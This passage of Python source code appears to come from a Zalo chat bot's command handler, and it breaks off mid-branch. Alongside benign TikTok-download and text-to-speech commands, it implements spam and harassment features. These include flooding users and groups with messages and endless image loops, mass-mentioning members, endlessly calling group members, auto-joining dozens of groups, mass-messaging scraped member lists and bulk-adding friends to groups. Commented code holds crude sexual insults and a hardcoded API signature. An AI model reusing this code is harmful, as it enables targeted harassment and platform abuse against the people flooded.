			print(self.deleteMultiMsg(msgData=msg_data, thread_id=thread_id, thread_type=thread_type))
			print([msg_data[0]])
				# print(self.deleteMultiMsg(msgData=[msg_data[0]], thread_id=thread_id, thread_type=thread_type))
				
				
			# for l in range(0, len(msg_data), 50):
				# chunk = msg_data[l:l+50]
				# print([msg_data[0]])
				# print(self.deleteMultiMsg(msgData=[msg_data[0]], thread_id=thread_id, thread_type=thread_type))
				
				
				
				
				
			# data["groupMsgs"].sort(key=lambda msg: int(msg["ts"]), reverse=False)
			# data = self.getRecentGroup(groupId=thread_id, msgId=data.minMsgId)
			# msg_idss = [(msg['msgId'], msg['uidFrom'], msg['cliMsgId']) for msg in data['groupMsgs']]
			# msg_ids + msg_idss
			# data = self.getRecentGroup(groupId=thread_id, msgId=data.minMsgId)
			# msg_ids + [(msg['msgId'], msg['uidFrom'], msg['cliMsgId']) for msg in data['groupMsgs']]
			
			
			# # print(len(msg_ids))
			# reaction_data = []
			# for msg_id, uid, cli_msg_id in msg_ids:
				# fdj = uid if uid != "0" else self.uid
				# reaction_data.append({"gMsgID": int(msg_id), "cMsgID": int(cli_msg_id), "msgType": message_object.get('msgType', 31)})
				# # time.sleep(0.00001)
			# for i in list(emoji.EMOJI_DATA.keys()):
				# self.sendMultiReaction(reactionObj=reaction_data, reactionIcon=i, thread_id=thread_id, thread_type=thread_type, reactionType=75)
				# # self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="/-heart", thread_id=thread_id, thread_type=thread_type, reactionType=75)
				# # self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="", thread_id=thread_id, thread_type=thread_type, reactionType=-1)

				# # self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="/-li", thread_id=thread_id, thread_type=thread_type, reactionType=75)

				# # self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="/-heart", thread_id=thread_id, thread_type=thread_type, reactionType=-1)


		elif message.startswith(self.prefix + f"tt"):
			self.sendReaction(message_object, reactionIcon='✨', thread_id=thread_id, thread_type=thread_type)
			url = message.replace(self.prefix + f"tt", "").strip()
			html = self._session.get(url, headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; SM-G970F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.1775.121 Safari/537.36"}, timeout=1)
			headers = {
				"sec-ch-ua": "\"Chromium\";v\u003d\"137\", \"Not/A)Brand\";v\u003d\"24\"",
				"accept-encoding": "identity;q\u003d1, *;q\u003d0",
				"sec-ch-ua-mobile": "?0",
				"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
				"sec-ch-ua-platform": "\"Linux\"",
				"accept": "*/*",
				"sec-fetch-site": "same-site",
				"sec-fetch-mode": "no-cors",
				"sec-fetch-dest": "video",
				"referer": "https://www.tiktok.com/",
				"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5",
				"range": "bytes\u003d0-"
			}
			cookies = html.cookies.get_dict()
			html = html.text
			out = parse_tiktok_file(html)
			if out["type"] == "video":
				videoData = self._session.get(out["data"]["video_url"], headers=headers, cookies=cookies, timeout=1)
				data = out["data"]
				author_name = data["author_name"]
				title = data["title"]
				likes = data["likes"]
				comment = data["comments"]
				share = data["shares"]
				thumbnail = data["thumbnail"]
				width = data["width"]
				height = data["height"]
				duration = data["duration_ms"]
				voice = data["voice_url"]
				videoUrl = self.UploadFileFromBytes(fileData=videoData.content, fileName="cc.mp4", thread_id=thread_id, thread_type=thread_type)
				thumbnailUrl = asyncio.run(self.uploadFileAsync(file_url=thumbnail, thread_id=thread_id, thread_type=thread_type))
				voiceUrl = asyncio.run(self.uploadFileAsync(file_url=voice, thread_id=thread_id, thread_type=thread_type)) + "?handsome=TahnDev.aac"
				msg = f"{author_name}\n\n{title}\nLikes: {likes}, Comment: {comment}, Share: {share}"
				self.sendReaction(message_object, reactionIcon='', thread_id=thread_id, thread_type=thread_type, reactionType=-1)
				self.sendRemoteVideo(videoUrl=videoUrl, message=Message(text=str(msg)), height=height, width=width, duration=duration, thumbnailUrl=thumbnailUrl, thread_id=thread_id, thread_type=thread_type, ttl=3600000)
				self.sendRemoteVoice(voiceUrl=voiceUrl, thread_id=thread_id, thread_type=thread_type, ttl=3600000)
				self.sendReaction(message_object, reactionIcon='/-strong', thread_id=thread_id, thread_type=thread_type)
			elif out["type"] == "image" or out["type"] == "multi_image":
				data = out["data"]
				author_name = data["author_name"]
				title = data["title"]
				likes = data["likes"]
				comment = data["comments"]
				share = data["shares"]
				thumbnail = data["thumbnail"]
				width = data["width"]
				height = data["height"]
				images = data["images"]
				voice = data["voice_url"]
				voiceUrl = asyncio.run(self.uploadFileAsync(file_url=voice, thread_id=thread_id, thread_type=thread_type)) + "?handsome=TahnDev.aac"
				msg = f"{author_name}\n\n{title}\nLikes: {likes}, Comment: {comment}, Share: {share}"
				img = []
				for i in images:
					img.append(asyncio.run(self.uploadFileAsync(file_url=i, thread_id=thread_id, thread_type=thread_type)))
				if len(img) == 1:
					self.sendReaction(message_object, reactionIcon='', thread_id=thread_id, thread_type=thread_type, reactionType=-1)
					self.sendImage(imagelink=img[0], thread_id=thread_id, thread_type=thread_type, width=width, height=height, message=Message(text=msg), ttl=3600000)
					self.sendRemoteVoice(voiceUrl=voiceUrl, thread_id=thread_id, thread_type=thread_type, ttl=3600000)
					self.sendReaction(message_object, reactionIcon='/-strong', thread_id=thread_id, thread_type=thread_type)
				else:
					self.sendReaction(message_object, reactionIcon='', thread_id=thread_id, thread_type=thread_type, reactionType=-1)
					self.sendMultiImage(imagelinks=img, width=width, height=height, thread_id=thread_id, thread_type=thread_type, ttl=3600000, message=Message(text=msg))
					self.sendRemoteVoice(voiceUrl=voiceUrl, thread_id=thread_id, thread_type=thread_type, ttl=3600000)
					self.sendReaction(message_object, reactionIcon='/-strong', thread_id=thread_id, thread_type=thread_type)
		
		elif message.startswith(self.prefix + f"tts"):
			chuyendoi = message.replace(self.prefix + f"tts", "").strip()
			noidung = "• Đang tiếng hành chuyển thành voice vui lòng chờ đợi khoảng 3s"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=2, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=2, length=61, style="color", color="#cdd6f4", auto_format=False)])
			self.replyMessage(Message(text=noidung, style=style_error), message_object, thread_id, thread_type, ttl=4000)
			bytesVoice = luvvoice(chuyendoi)
			print(bytesVoice)
			# UploadFileFromBytes(fileData=file, fileName="proxy.txt", thread_type=thread_type, thread_id=thread_id) + "/tahndev/proxy.txt"
			voiceUrl = self.UploadFileFromBytes(fileData=bytesVoice, fileName="gay.aac", thread_id=thread_id, thread_type=thread_type) + "?create=Tahn_bot.aac"
			print(voiceUrl)
			self.sendRemoteVoice(voiceUrl=voiceUrl, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + f"voice http"):
			ask = message.replace(self.prefix + f"voice", "").strip()
			self.sendRemoteVoice(voiceUrl=ask, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + f"voice tt"):
			try:
				url = message.replace(self.prefix + f"voice tt", "").strip()
				music = ""
				headers = {
					"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
				}
				response = self._session.get(url, headers=headers)
				cc = response.text
				db = cc.replace('\\u002F', '/')
				pattern = r'"playUrl":"(https://v16-webapp-prime\.tiktok\.com/video/tos/alisg/[^"]*)"'
				match = re.search(pattern, db)
				if match:
					music = match.group(1)
					self.sendRemoteVoice(voiceUrl=music, thread_id=thread_id, thread_type=thread_type)
				else:
					pattern = r'"playUrl":"(https://[^"]+)"'
					matches = re.findall(pattern, db)
					print(matches)
					music = matches[0]
					self.sendRemoteVoice(voiceUrl=music, thread_id=thread_id, thread_type=thread_type)
				if not music:
					self.replyMessage(Message(text="Fail to find Url music"), message_object, thread_id, thread_type)
					return
			except Exception as e:
				self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)
		elif message == self.prefix + "vip":
			if author_id not in self.selfid:
				return
			cc = ['https://zalo.me/g/nlreyh752', 'https://zalo.me/g/qoqpbv890', 'https://zalo.me/g/jvzuec804', 'https://zalo.me/g/peurju686', 'https://zalo.me/g/vhomrd646', 'https://zalo.me/g/sjohfb810', 'https://zalo.me/g/worokf542', 'https://zalo.me/g/nmwdhe707', 'https://zalo.me/g/kvjisb505', 'https://zalo.me/g/mhweee501', 'https://zalo.me/g/wntnyu355', 'https://zalo.me/g/lmhfps187', 'https://zalo.me/g/lwhkii396', 'https://zalo.me/g/dmpekm925', 'https://zalo.me/g/ctrwne065', 'https://zalo.me/g/tfqndq236', 'https://zalo.me/g/mrdeao441', 'https://zalo.me/g/muujmn864', 'https://zalo.me/g/ftlznn236', 'https://zalo.me/g/aspivr802', 'https://zalo.me/g/mgbxwb507', 'https://zalo.me/g/ynyynb646', 'https://zalo.me/g/vwxvat394', 'https://zalo.me/g/ohirpx207', 'https://zalo.me/g/hudqyh571', 'https://zalo.me/g/zrwdxr501', 'https://zalo.me/g/veurcp711', 'https://zalo.me/g/xnuoso669', 'https://zalo.me/g/xagztr855', 'https://zalo.me/g/gqrrnl600', 'https://zalo.me/g/ejeqid496', 'https://zalo.me/g/jpapyj910', 'https://zalo.me/g/dgtuuf077', 'https://zalo.me/g/lgxoec772', 'https://zalo.me/g/nxgfzx621', 'https://zalo.me/g/ejtvpx203', 'https://zalo.me/g/lruzrr344', 'https://zalo.me/g/mljqhf851', 'https://zalo.me/g/focfxg808', 'https://zalo.me/g/itbsqb594', 'https://zalo.me/g/rjfodu833', 'https://zalo.me/g/omznyg092', 'https://zalo.me/g/ccgjex003', 'https://zalo.me/g/xhmtvb335', 'https://zalo.me/g/dhskrk433', 'https://zalo.me/g/tjsfea029', 'https://zalo.me/g/ypxzsf596', 'https://zalo.me/g/tfjlth307', 'https://zalo.me/g/bngpoj299', 'https://zalo.me/g/ppsgvh984', 'https://zalo.me/g/vmqtuq070', 'https://zalo.me/g/zgsosa747', 'https://zalo.me/g/yxctfx543', 'https://zalo.me/g/ugldem637', 'https://zalo.me/g/vickyq746', 'https://zalo.me/g/vmyedu660', 'https://zalo.me/g/jpbmwr403', 'https://zalo.me/g/swdfqv729']
			for i in cc:
				print(self.joinbox(i))
			# def spamCallBaRo(cleaned_list, groupUid):
				# with ThreadPoolExecutor(max_workers=5) as thread:
					# for i in range(0, len(cleaned_list), 5):
						# chunk = cleaned_list[i:i+5]
						# self.thread_handsome.submit(self.call, groupUid, chunk, self.callName)

			# # try:
				# # with open("cc.txt", "r") as f:
					# # users = f.readlines()
			# # except Exception:
				# # traceback.print_exc()
			# # print(type(users))
			# data = []
			# if os.path.exists("data.txt"):
				# with open("data.txt", "r") as f:
					# dataStr = f.readlines()
					# for i in dataStr:
						# stripped = i.strip()
						# if stripped:
							# try:
								# data.append(ast.literal_eval(stripped))
							# except json.JSONDecodeError:
								# pass
								# # print(f"Skipping invalid JSON line: {i!r}")
				# # print(data)
			# else:
				# for i in cc:
					# try:
						# group_info = self.fetchLinkBox(i)
						# # print(group_info)
						# creator_id = group_info['creatorId']
						# admin_ids = group_info['adminIds']
						# print(creator_id)
						# print(admin_ids)
						# cleaned_list = [member["id"] for member in group_info['currentMems']]
						# print(cleaned_list)
						# groupUid = group_info.groupId
						# # self.replyMessage(Message(text=f"Has {len(cleaned_list)} in spam list"), message_object, thread_id, thread_type)
				
						# data.append((cleaned_list, groupUid))
						# print("sleep 5p để tránh bị ngu")
						# time.sleep(10)
					# except:
						# continue
				# with open("data.txt", "a") as f:
					# for item in data:
						# f.write(str(item) + '\n')
			# while True:
				# for cleaned_list, groupUid in data:
					# # self.thread_handsome.submit(spamCallBaRo, cleaned_list, groupUid)
					# spamCallBaRo(cleaned_list, groupUid)
					# time.sleep(5)
		elif message.startswith(self.prefix + "testvip"):
			if author_id not in self.selfid:
				return
			groupUid = message.replace(self.prefix + "testvip", "").strip()
			if not groupUid:
				groupUid = thread_id
				group_info = self.fetchGroupInfo(groupUid).gridInfoMap[groupUid]
				creator_id = group_info['creatorId']
				admin_ids = group_info['adminIds']
				mem_ver_list = [
					member for member in group_info['memVerList']
					if not any(member.startswith(id_) for id_ in [creator_id] + admin_ids)
				]
				cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
				cleaned_list.remove(author_id)
			else:
				group_info = self.fetchLinkBox(groupUid)
				creator_id = group_info['creatorId']
				admin_ids = group_info['adminIds']
				print(creator_id)
				print(admin_ids)
				cleaned_list = [member["id"] for member in group_info['currentMems']]
				print(cleaned_list)
				groupUid = group_info.groupId
			
			cleaned_list.remove(str(self.uid))
			print(self.forwardMessage(message=Message(text="abc"), thread_ids=cleaned_list[:50], thread_type=ThreadType.USER, ttl=10))
			# cleaned_list
		elif message.startswith(self.prefix + "abc"):
			if author_id not in self.selfid:
				return
			try:
				groupUid = message.replace(self.prefix + "abc", "").strip()
				if not groupUid:
					groupUid = thread_id
					group_info = self.fetchGroupInfo(groupUid).gridInfoMap[groupUid]
					creator_id = group_info['creatorId']
					admin_ids = group_info['adminIds']
					mem_ver_list = [
						member for member in group_info['memVerList']
						if not any(member.startswith(id_) for id_ in [creator_id] + admin_ids)
					]
					cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
					cleaned_list.remove(author_id)
				else:
					group_info = self.fetchLinkBox(groupUid)
					creator_id = group_info['creatorId']
					admin_ids = group_info['adminIds']
					print(creator_id)
					print(admin_ids)
					cleaned_list = [member["id"] for member in group_info['currentMems']]
					print(cleaned_list)
					groupUid = group_info.groupId
				self.callStatus = True
				while self.callStatus:
					for i in range(0, len(cleaned_list), 10):
						chunk = cleaned_list[i:i+10]
						data = self.call(groupUid, chunk, self.callName)
						print(data)
						# params = json.loads(data.params)
						# groupId = params.get("groupId")
						# callId = params.get("id")
						# hostCall = params.get("hostCall")
						# print(self.cancelCall(groupId=groupId, callId=callId, hostCall=hostCall))
				
			except Exception:
				traceback.print_exc()
			# while True:
				# print(self.sendFriendRequest(userId=author_id, msg="abc", language="vi"))
				# print(self.undoReqFriend(author_id))
		elif message == self.prefix + f"unreq":
			if author_id not in self.selfid:
				return
			uids = list(self.fetchFriendReq().keys())
			for uid in uids:
				data = self.undoReqFriend(uid)
			self.replyMessage(Message(text=str(data)), message_object, thread_id, thread_type)
		elif message == self.prefix + f"block" and thread_type == ThreadType.USER:
			if author_id not in self.selfid:
				return
			print(self.blockUser(userId=thread_id))
		elif message == self.prefix + f"link":
			self.send(Message(text="Tin nhắn sai định dạng\nVD: {self.prefix}link <link> <title> <domainUrl> <thumbnail> <desc> <message>"), thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + f"link"):
			dbh = message.replace(self.prefix + f"link", "").strip()
			parts = dbh.split(';')
			link = str(parts[0])
			title = str(parts[1])
			domainurl = str(parts[2])
			thumbaild = str(parts[3])
			desc = str(parts[4])
			#mes = str(parts[5])
			print(self.sendLink(linkUrl=link, title=title, thread_id=thread_id, thread_type=thread_type, domainUrl=domainurl, thumbnailUrl=thumbaild, desc=desc))
		elif message == "qr":
			data = self.qrCode(userId=author_id)
			data_key = data.get('data')
			url = list(data_key.values())[0]
			hehe = scan_qr_code_from_url(url)
			self.replyMessage(Message(text=hehe), message_object, thread_id, thread_type)
		elif message.startswith(self.prefix + f"card"):
			phonee = message.replace(self.prefix + f"card", "").strip()
			parts = phonee.split(';')
			uid = str(parts[0])
			phonoee = str(parts[1])
			data = self.qrCode(userId=uid)
			data_key = data.get('data')
			url = list(data_key.values())[0]
			self.sendBusinessCard(userId=uid, qrCodeUrl=url, thread_id=thread_id, thread_type=thread_type, phone=phonoee)
		elif message == self.prefix + f"hih":
			print("nhận lệnh")
			print(self.timeDay())
			print(self.autoReplyCreate(content="con cặc"))
		elif message == self.prefix + "gmsg":
			msgId = message_object.quote.globalMsgId
			cliMsgId = message_object.quote.cliMsgId
			if msgId == 0:
				data = self.request_old_messages(thread_type=thread_type, last_msg_id=1, first=True)
				
				# self.request_old_messages(thread_type=thread_type, last_msg_id=message_object.msgId, first=True)
			else:
				data = self.request_old_messages(thread_type=thread_type, last_msg_id=msgId - 1, first=True)
			for i in data.groupMsgs:
				print(i)
				print(i.get("msgId"))
				print(msgId)
				print(i.get("cliMsgId"))
				print(cliMsgId)
				if (int(i.get("msgId")) == msgId and int(i.get("cliMsgId")) == cliMsgId) or (msgId == 0 and int(i.get("cliMsgId")) == cliMsgId):
					msg = json.dumps(i, indent=4)
					# print(i)
					# print(msg)
			self.replyMessage(Message(text=msg), message_object, thread_id, thread_type, ttl=600000)
		elif message == self.prefix + f"gl":
			quote_attach = json.loads(message_object['quote']['attach']).get('href').replace("\\", "")
			self.replyMessage(Message(text=quote_attach), message_object, thread_id, thread_type, ttl=60000)
		# elif message_object.mentions and message_object.mentions[0]['uid'] == self.uid and message_object.quote and self.simimi == True: #and author_id == "gay":
			# ask = message.replace(f"@{self.myName}", "").strip()
			# headers = {
				# "accept": "application/json, text/plain, */*",
				# "os": "a",
				# "av": "9.0.3",
				# "x-signature": "ea01c2196c1efef7e5c3b19533078bf26a0411aa65e35a2b8179762e7b01959b",
				# "content-type": "application/json",
				# "accept-encoding": "gzip",
				# "user-agent": "okhttp/4.10.0"
			# }
			# payload = {
				# "uid": 506626235,
				# "av": "9.0.3",
				# "os": "a",
				# "lc": "vn",
				# "cc": "VN",
				# "tz": "Asia/Ho_Chi_Minh",
				# "cv": "",
				# "message": ask,
				# "free_level": 2147483647,
				# "logUID": "506626235",
				# "reg_now_days": 2147483647
			# }
			# response = self._session.post("https://kube-appserver.simsimi.com:30443/simtalk/get_talk_set", headers=headers, json=payload, verify=True)
			# data = response.json()['sentence']
			# messagess = data[0].lower() + data[1:]
			# # print(messagess)
			# # print(re.search(r'_{3,}', messagess))
			# # re.compile(r'(?<!_)_{3}(?!_)')
			# messagess = re.compile(r'(?<!_)_{3}(?!_)').sub(lambda m: random.choice(["lồn", "cặc"]), messagess)

			# if messagess == "gay nặng luôn anh ơiiii":
				# messagess = "gay con cặc"
			# elif messagess == "Required parameter is not present":
				# messagess = "Sủa cặc dì"
			# elif messagess == "Tôi không biết làm thế nào để trả lời. Dạy tôi câu trả lời.":
				# messagess = "Em hk bt gì hết"
			# elif messagess == "dạ chuẩn em ngu":
				# messagess = "Ngu db ngủ đi"
			# elif messagess == "gâu gâu":
				# messagess = "Sủa con cặc"
			# elif messagess == "fuck me pls ahh":
				# messagess = "ok db"
			# elif messagess == "Em muốn chịch":
				# messagess = "Má db"
			# elif messagess == "ok a. nứng r":
				# messagess = "đéo"
			# elif messagess == "Tụt quần luôn, nhanh!":
				# messagess = "Tao con trai!"
			# elif messagess == "hãy ăn thịt em đi. em nguyện hiến dâng.":
				# messagess = "Kệ mày"
			# elif messagess == "e nguyện làm nô lệ tình dục cho anh Bách suốt đời ạ":
				# messagess = "cc"
			# elif messagess == "dai vâng em óc súc vật giống thằng tân anh ạ":
				# messagess = "sủa gì v"
			# elif messagess == "bede":
				# messagess = "cac"
			# elif messagess == "Tôi không biết làm thế nào để trả lời. Dạy tôi câu trả lời":
				# messagess = "Em hk bt gì hết"
			# elif messagess == "vâng tôi là chó":
				# messagess = "Nói dì nói lại nghe coi"
			# elif messagess == "Gâu gâu quạc quạc":
				# messagess = "meow"
			# mention = Mention(author_id, length=7, offset=0)
			# me = "@member "
			# me += messagess
			# self.replyMessage(Message(text=me, mention=mention), message_object, thread_id, thread_type)
		elif message == self.prefix + f"fg":
			try:
				image = Image.new('RGB', (555, 312), color=(215, 206, 155))
				draw = ImageDraw.Draw(image)
				font = ImageFont.load_default()
				text = "Hello, World!"
				text_position = (50, 150)  # Tọa độ trên ảnh (x, y)
				text_color = ()  # Màu trắng (RGB)
				draw.text(text_position, text, font=font, fill=text_color)
				width, height = image.width, image.height
				temp_file_path = 'temp_image.jpg'
				image.save(temp_file_path, format='JPEG')
				self.sendLocalImage(temp_file_path,
					message=None,
					width=width,
					height=height,
					thread_id=thread_id,
					thread_type=thread_type,
				)
				os.remove(temp_file_path)
			except Exception as e:
				print(f"Error: {e}")
		elif message.startswith(self.prefix + f"spwm"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			style = MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False)
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if message.startswith(self.prefix + f"spwm group All"):
				with open('noidung.txt', 'r') as file:
					danh_sach = file.readlines()
					danh_sach = [line.strip() for line in danh_sach]
				mentions = []
				group = self.fetchGroupInfo(thread_id)
				group_info = group.gridInfoMap[thread_id]      
				mem_ver_list = group_info['memVerList']
				cleaned_list = [item.replace('_0', '') for item in mem_ver_list]

				for user_id in cleaned_list:
					mentions.append(Mention(user_id, offset=0, length=3000, auto_format=False))
					# time.sleep(0.00001)
				cc = MultiMention(mentions)

				def sksjjdjdh():
					while True:
						self.sendImage(imagelink='https://f27-zfcloud.zdn.vn/512352a888e229bc70f3/3203464912244520753', thread_id=thread_id, thread_type=thread_type, width=100, height=100_0000)
						time.sleep(1)

				self.thread_handsome.submit(sksjjdjdh)

				for word in danh_sach:
					self.send(Message(text=str(word), mention=cc), thread_id, thread_type, ttl=1)
					time.sleep(0.5)

			elif message.startswith(self.prefix + f"spwm group @"):
				if message_object.mentions:
					user_id = message_object.mentions[0]['uid']
					with open('noidung.txt', 'r') as file:
						danh_sach = file.readlines()
						danh_sach = [line.strip() for line in danh_sach]
					for word in danh_sach:
						cc = Mention(user_id, length=1, offset=0)
						tdk = round(random.uniform(3, min(1 + len(word) * 0.05, 5)), 2)
						self.setTyping(thread_id, thread_type)
						time.sleep(tdk)
						self.send(Message(text=str("@ " + word), mention=cc), thread_id, thread_type, ttl=1)
				else:
					self.replyMessage(Message(text="No Found User Got Tag", style=style_error), message_object, thread_id, thread_type)
					return
			elif message.startswith(self.prefix + f"spwm user @"):
				if message_object.mentions:
					user_id = message_object.mentions[0]['uid']
					with open('noidung.txt', 'r') as file:
						danh_sach = file.readlines()
						danh_sach = [line.strip() for line in danh_sach]
					self.replyMessage(Message(text=f"Đang spam user {user_id}", style=style_error), message_object, thread_id, thread_type)
					def sksjjdjdh():
						while True:
							self.sendImage(imagelink='https://f27-zfcloud.zdn.vn/512352a888e229bc70f3/3203464912244520753', thread_id=user_id, thread_type=ThreadType.USER, width=100, height=100_0000)

					self.thread_handsome.submit(sksjjdjdh)

					for word in danh_sach:
						self.send(Message(text=str(word)), thread_id=user_id, thread_type=ThreadType.USER).error_code
						# time.sleep(0.00001)
				else:
					self.replyMessage(Message(text="No Found User Got Tag", style=style_error), message_object, thread_id, thread_type)
					return
			else:
				self.replyMessage(Message(text=f"No Found Command '{message}' Try {self.prefix}spwm <user | group> <All | @mention>", style=style_error), message_object, thread_id, thread_type)
				return

		elif message == "xxx":
			self.todozlapp(userId=author_id, content='hello world', thread_id=author_id, thread_type=ThreadType.USER)

		elif message == self.prefix + f"2/9":
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			mention = Mention("-1", length=3000, offset=0)
			style = MessageStyle(length=3000, style="color", color="#ff0000")
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			with open('29.txt', 'r') as file:
				danh_sach = file.readlines()
				danh_sach = [line.strip() for line in danh_sach]
				for word in danh_sach:
					self.send(Message(text=word, style=style), thread_id, thread_type)
					time.sleep(2)
		elif message.startswith(self.prefix + f"admin"):
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id in self.selfid:
				try:
					if message_object.mentions:
						user_id = message_object.mentions[0]['uid']
						noidung = f"Đã thêm uid: {user_id} vào danh sách admin"
						self.selfid.append(user_id)
						self.replyMessage(Message(text=noidung, style=style_error), message_object, thread_id, thread_type)
					else:
						self.replyMessage(Message(text="Tin nhắn sai cú pháp vui lòng thử: {self.prefix}admin @member", style=style_error), message_object, thread_id, thread_type)
				except Exception as e:
					print(f"Error: {e}")
			else:
				self.replyMessage(Message(text="Bạn Không Có Quyền Để Thực Hiện Điều Này!", style=style_error), message_object, thread_id, thread_type)
				return
		elif message.startswith(self.prefix + f"sl"):
			user_input = message.replace(self.prefix + f"sl", "").strip()
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if user_input:
				if user_input in self.truongbigayyy:
					style_error = MultiMsgStyle([
					MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
					MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
					])
					error_msg = f"Từ '{user_input}' đã có trong danh sách."
					self.replyMessage(Message(text=error_msg, style=style_error), message_object, thread_id, thread_type)
				else:
					self.truongbigayyy.append(user_input)
					style_error = MultiMsgStyle([
					MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
					MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
					])
					bruh = f"List Từ Hiện Tại: {self.truongbigayyy}"
					self.replyMessage(Message(text=bruh, style=style_error), message_object, thread_id, thread_type)
			else:
				style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
				])
				error_msg = "Vui lòng nhập nội dung sau '..sl'."
				self.replyMessage(Message(text=error_msg, style=style_error), message_object, thread_id, thread_type)
		elif message == self.prefix + "vsfr":
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			data = self.fetchAllFriends().data
			userIds = [i.userId for i in data]
			for i in range(0, len(userIds), 50):
				batch = userIds[i:i + 50]
				self.addUsersToGroupV1(user_ids=batch, groupId=thread_id)
		elif message == self.prefix + f"ssl":
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			start_color = (95, 186, 164)
			end_color = (170, 124, 254)
			styles = []
			for word in self.truongbigayyy:
				length = len(word)
				for i, char in enumerate(word):
					r = int(start_color[0] + (end_color[0] - start_color[0]) * i / (length - 1))
					g = int(start_color[1] + (end_color[1] - start_color[1]) * i / (length - 1))
					b = int(start_color[2] + (end_color[2] - start_color[2]) * i / (length - 1))
					color = f'{r:02x}{g:02x}{b:02x}'
					styles.append(MessageStyle(offset=i, length=1, style="color", color=color, auto_format=False))
				style = MultiMsgStyle(styles)
				self.send(Message(text=word, style=style), thread_id, thread_type)
		elif message.startswith(self.prefix + f"login"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if self.selid != author_id:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			msgId = self.replyMessage(Message(text=f"Vui Lòng Nhập Imei:"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000).msgId
			self.registerNextStep(self.inputImeiComandLogin, author_id, msgId)
		elif message.startswith(self.prefix + f"reduthrd"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if self.selid != author_id:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			try:
				# reduceThread(thread)
				self.thread_handsome.shutdown(wait=True)
				self.thread_handsome = ThreadPoolExecutor(max_workers=10000)
				
				self.replyMessage(Message(text="done"), message_object, thread_id, thread_type)
			except Exception as e:
				self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)
		elif message.startswith(self.prefix + f"eval"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if self.selid != author_id:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			truongbigayy = message.replace(self.prefix + f"eval", "").strip()
			if "-str" in truongbigayy:
